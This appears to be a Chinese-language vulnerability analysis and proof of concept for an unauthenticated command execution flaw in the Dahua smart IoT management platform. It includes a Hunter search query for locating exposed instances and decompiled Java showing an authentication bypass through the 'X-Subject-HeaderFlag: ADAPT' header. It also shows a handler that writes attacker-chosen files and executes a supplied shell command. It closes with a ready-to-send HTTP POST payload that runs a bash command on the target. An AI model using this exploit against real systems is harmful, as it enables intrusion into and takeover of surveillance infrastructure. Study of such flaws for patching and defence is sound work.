大华智能物联管理平台/evo-runs/v1.0/receive接口前台命令执行
hunter
body="*客户端会小于800*"漏洞分析
漏洞点在com.dahua.evo.runs.service.impl.MsgDealServiceImpl#msgDeal(com.dahua.evo.runs.agent.AgentMsgParam)

public ResultMessage msgDeal(AgentMsgParam agentMsgParam) throws Exception {
if (agentMsgParam != null) {
String method = agentMsgParam.getMethod();
if (StringUtils.isNotEmpty(method)) {
MsgHandler msgHandler = this.msgHandlerExecuteFactory.getMsgHandler(method);
if (msgHandler != null) {
return msgHandler.msgDeal(agentMsgParam);
}
}
}
throw new BusinessException(ResultCodeEnum.INTERFACE_NOT_FOUND);
}可以调用部分MsgHandler的MsgDeal方法,这个Service在com.dahua.evo.runs.controller.agent.MsgDealConrtoller中有多处调用,这里几个路由的处理方式都差不多,就拿/evo-runs/v1.0/receive来分析,com.dahua.evo.runs.controller.agent.MsgDealConrtoller#receive的具体实现
基本上就是直接调用了msgDeal但是这是一个鉴权路由,需要绕过鉴权,也需要寻找到可利用的MsgHandler
绕过鉴权
com.dahua.evo.runs.filter.AuthFilter#doFilter
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
if (!this.authEnable) {
filterChain.doFilter(servletRequest, servletResponse);
return;
}
HttpServletRequest httpServletRequest = (HttpServletRequest)servletRequest;
HttpServletResponse httpServletResponse = (HttpServletResponse)servletResponse;
String[] requestURIParams = httpServletRequest.getServletPath().split("/");
String[] matchedRequestURIParams = Arrays.copyOfRange(requestURIParams, 1, requestURIParams.length);
String matchedRequestURI = "/" + StringUtils.join(Arrays.asList(matchedRequestURIParams), (String)"/");
BodyReaderHttpServletRequestWrapper request = new BodyReaderHttpServletRequestWrapper(httpServletRequest, FILE_METHOD_SET.contains(matchedRequestURI));
String content = SignUtil.getBodyString((ServletRequest)request);
if (StringUtils.isNotEmpty((CharSequence)content)) {
String signFlag;
Map paramsMap = SignUtil.parseJsonToMap((String)(content = this.getParamsExcludeFile(matchedRequestURI, content)));
if (this.releaseMethodSet.contains(paramsMap.get("method"))) {
filterChain.doFilter((ServletRequest)request, servletResponse);
return;
}
String flag = httpServletRequest.getHeader("X-Subject-HeaderFlag");
if (StrUtil.isNotBlank((CharSequence)flag) && "ADAPT".equals(flag) && StrUtil.isBlank((CharSequence)(signFlag = httpServletRequest.getHeader("X-Subject-Sign")))) {
filterChain.doFilter((ServletRequest)request, servletResponse);
return;
}
flag = httpServletRequest.getHeader("X-Subject-HeaderFlag");
if (StrUtil.isNotBlank((CharSequence)flag) && "CLOUD".equals(flag)) {
filterChain.doFilter((ServletRequest)request, servletResponse);
return;
}
if (this.serverIsCloud || this.serverIsAgent) {
filterChain.doFilter((ServletRequest)request, servletResponse);
return;
}
String signature = httpServletRequest.getHeader("X-Subject-Sign");
if (StringUtils.isNotEmpty((CharSequence)signature)) {
String serverCode = (String)paramsMap.get("serverCode");
if (StringUtils.isNotEmpty((CharSequence)serverCode)) {
String secret = this.generateSerret(serverCode, matchedRequestURI, this.getRpcMethod(content));
if (StringUtils.isNotEmpty((CharSequence)secret)) {
if (SignUtil.verifySign((Map)paramsMap, (String)signature, (String)secret)) {
filterChain.doFilter((ServletRequest)request, servletResponse);
return;
}
this.logger.error("\u63a5\u53e3\u9274\u6743\u5931\u8d25\uff0c\u8def\u5f84:{}, \u539f\u56e0:{}", (Object)matchedRequestURI, (Object)"\u53c2\u6570\u9274\u6743\u4e0d\u5408\u6cd5");
} else {
this.logger.error("\u63a5\u53e3\u9274\u6743\u5931\u8d25\uff0c\u8def\u5f84:{}, \u539f\u56e0:{}", (Object)matchedRequestURI, (Object)"\u5bf9\u5e94\u79d8\u94a5\u4e3a\u7a7a");
}
} else {
this.logger.error("\u63a5\u53e3\u9274\u6743\u5931\u8d25\uff0c\u8def\u5f84:{}, \u539f\u56e0:{}", (Object)matchedRequestURI, (Object)"\u5bf9\u5e94serverCode\u4e3a\u7a7a");
}
} else {
this.logger.error("\u63a5\u53e3\u9274\u6743\u5931\u8d25\uff0c\u8def\u5f84:{}, \u539f\u56e0:{}", (Object)matchedRequestURI, (Object)"X-Subject-Sign\u4e3a\u7a7a");
}
}
this.logger.error("\u63a5\u53e3\u9274\u6743\u5931\u8d25\uff0c\u8def\u5f84:{}, \u53c2\u6570:{}", (Object)matchedRequestURI, (Object)content);
httpServletResponse.setCharacterEncoding("utf-8");
PrintWriter printWriter = httpServletResponse.getWriter();
printWriter.print("{\"success\":false,\"code\":" + ResultCodeEnum.AGENT_AUTH_FAIL.getCode() + ",\"errMsg\":\"\u672a\u767b\u5f55\uff0c\u8bf7\u91cd\u65b0\u767b\u5f55\",\"data\":{}}");
printWriter.flush();
printWriter.close();
}
最主要关注这个代码
String flag = httpServletRequest.getHeader("X-Subject-HeaderFlag");
if (StrUtil.isNotBlank(flag) && "ADAPT".equals(flag)) {
filterChain.doFilter(request, servletResponse);
return;
}最容易实现的就是X-Subject-HeaderFlag: ADAPT或X-Subject-HeaderFlag: CLOUD,这个在不同版本有差异,X-Subject-HeaderFlag: ADAPT更通用,现在就可以成功绕过鉴权
寻找com.dahua.evo.runs.agent.handler.AbstractMsgHandler的所有实现

找到可利用的类
com.dahua.evo.runs.agent.receive.handler.module.OssmConfigHandler
com.dahua.evo.runs.agent.receive.handler.ha.IpChangedHandler以OssmConfigHandler为例
public ResultMessage msgDeal(AgentMsgParam agentMsgParam) throws BusinessException {
JSONObject jsonObject = agentMsgParam.getInfo();
if (jsonObject == null) {
throw new BusinessException(ResultCodeEnum.AGENT_PARAM_INCORRECT);
}
CommonAgentParam commonAgentParam = (CommonAgentParam) JSON.toJavaObject(jsonObject, CommonAgentParam.class);
boolean ifSaved = writeMappingFile(commonAgentParam.getFilePath(), commonAgentParam.getConfigure()).booleanValue();
this.logger.info("ossmconfighandler write {} to {}", commonAgentParam.getConfigure(), commonAgentParam.getFilePath());
if (ifSaved) {
String shellPath = (String) commonAgentParam.getParamMap().get("shellPath");
String filePath = (String) commonAgentParam.getParamMap().get("filePath");
Executor.execute(shellPath, TlbConst.TYPELIB_MINOR_VERSION_OFFICE, "EXT_NET", filePath);
return new ResultMessage(Collections.emptyMap());
}
throw new BusinessException(ResultCodeEnum.PARAM_INVALID);
}
Executor.execute(shellPath, TlbConst.TYPELIB_MINOR_VERSION_OFFICE, "EXT_NET", filePath);
这里存在两个问题第7行的writeMappingFile文件名和文件内容都可控,第12行的Executor.execute命令可控,所以这里既可以执行任意命令也可以写入文件,但是这里不会解析jsp文件,写入文件getshell的方式还要进一步寻找POC
POST /evo-runs/v1.0/receive HTTP/2
Host: 192.168.89.10
X-Subject-Headerflag: ADAPT
Sec-Ch-Ua-Platform: "Windows"
Authorization:
Accept-Language: zh-CN,zh;q=0.9
Accept: application/json, text/plain, */*
Sec-Ch-Ua: "Chromium";v="135", "Not-A.Brand";v="8"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Sec-Ch-Ua-Mobile: ?0
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.89.10/
Accept-Encoding: gzip, deflate, br
Priority: u=4, i
Content-Type: application/json
Content-Length: 237
{
"method": "agent.ossm.mapping.config",
"info": {
"configure": "x",
"filePath": "x",
"paramMap": {
"shellPath": "/bin/bash -c 'id>/tmp/result.txt'",
"filePath": "x"
},
"requestIp": ""
}
}